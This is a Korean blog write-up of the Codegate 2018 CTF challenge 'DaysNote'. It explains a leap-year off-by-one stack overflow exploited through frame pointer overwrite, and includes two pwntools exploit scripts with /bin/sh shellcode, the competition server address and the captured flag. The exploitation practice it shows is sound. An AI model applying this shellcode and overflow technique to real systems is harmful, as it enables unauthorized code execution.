System&Write up/CTF

[Codegate 2018] DaysNote

Jubil 2018. 4. 8. 00:14
반응형

[Codegate 2018] DaysNote

 


 

바이너리는 32bit이고 보호 기법은 걸려있지 않습니다.

실서버 ASLR 또한 꺼져 있습니다.

 

 


 

연도와 내용을 입력 받습니다.

 


 

그리고 CountDays 함수를 통해서 그 연도의 일수를 return 하게 합니다.

여기서 윤년이 아니면 365, 윤년이면 366일을 반환하게 됩니다.

 

 


 

그 후 일수만큼 입력 받았던 내용을 dest에 복사하게 되는데, 여기서 0x16D365기 때문에 윤년일 경우 1byte overflow가 일어납니다. , FPO가 가능할 것 같네요.

 

 

쉘코드를 내용에 박고 SFP를 쉘코드가 박힌 주소를 가리키는 주소의 -4로 변조해주면 됩니다.

 

 


 

그리고 저 배열의 시작 주소를 가리키는 곳이 있으니 저 부분 -4SFP를 변조하면 될 것 같습니다.

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

from pwn import *

 

shellcode = "\x31\xc0\x31\xd2\xb0\x0b\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"

 

= process('./DaysNote')

#s = remote('110.10.147.38', 8888)

= ELF('./DaysNote')

 

s.sendline('2016')

pause()

s.sendline(shellcode + 'A'*(365-len(shellcode)) + '\x80')

 

print s.recvuntil('cat flag\n')

 

s.interactive()

Colored by Color Scripter

cs

 

하지만 \x0b Vertical Tab이라서 내용을 scanf로 받기 때문에 쉘코드가 끊깁니다. 그 뒤로도 마찬가지죠. 그래서 쉘코드를 약간 바꿔서, \xb0\x0b (mov al, 0x0b) -> \xb0\x0f\x2c\x04 (mov al, 0x0f  sub al, 0x04)로 바꾸어 같은 결과를 만들어내도록 했습니다.

 

 


 

실제로 실행할 때는 주소가 살짝 다르네요.

0x20space기 때문에 0x10으로 덮어줍시다.

 

그러면,

 


 

여기서 overflow가 일어나고,

 


 

여기서 ebp가 변조되고,

 


 

여기서 espebp+4로 변조되고,

 


 

결국 shellcode의 주소로 return 하게 됩니다.

 

 


 

그러면 쉘이 따이게 됩니다.

 

대회 서버는 주소가 다르기 때문에 조금씩 바꿔보면 \x30이라는 값을 알아낼 수 있습니다.

 


 

그럼 flag를 얻을 수 있습니다.

 

 

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

from pwn import *

 

shellcode = "\x31\xc0\x31\xd2\xb0\x0f\x2c\x04\x52\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\xcd\x80"

 

#s = process('./DaysNote')

= remote('110.10.147.38'8888)

= ELF('./DaysNote')

 

s.sendline('2016')

pause()

s.sendline(shellcode + 'A'*(365-len(shellcode)) + '\x30')

 

print s.recvuntil('cat flag\n')

 

s.interactive()

 

#flag{y0u Kn0w that? 1 yEAr is NoT 365 dAy! ACtuA11Y It is 365.25 dAY! >_O}

Colored by Color Scripter

cs

 

 

최종 exploit 코드입니다.


반응형

'System&Write up > CTF' 카테고리의 다른 글

[Codegate 2016] watermelon  (0) 2018.06.03
[Codegate 2018] catshop  (0) 2018.04.08
[Codegate 2018] betting  (1) 2018.04.06
[securinets CTF 2018] Boobs  (0) 2018.03.27
[TAMUctf 2018] pwn1 ~ pwn5  (0) 2018.02.27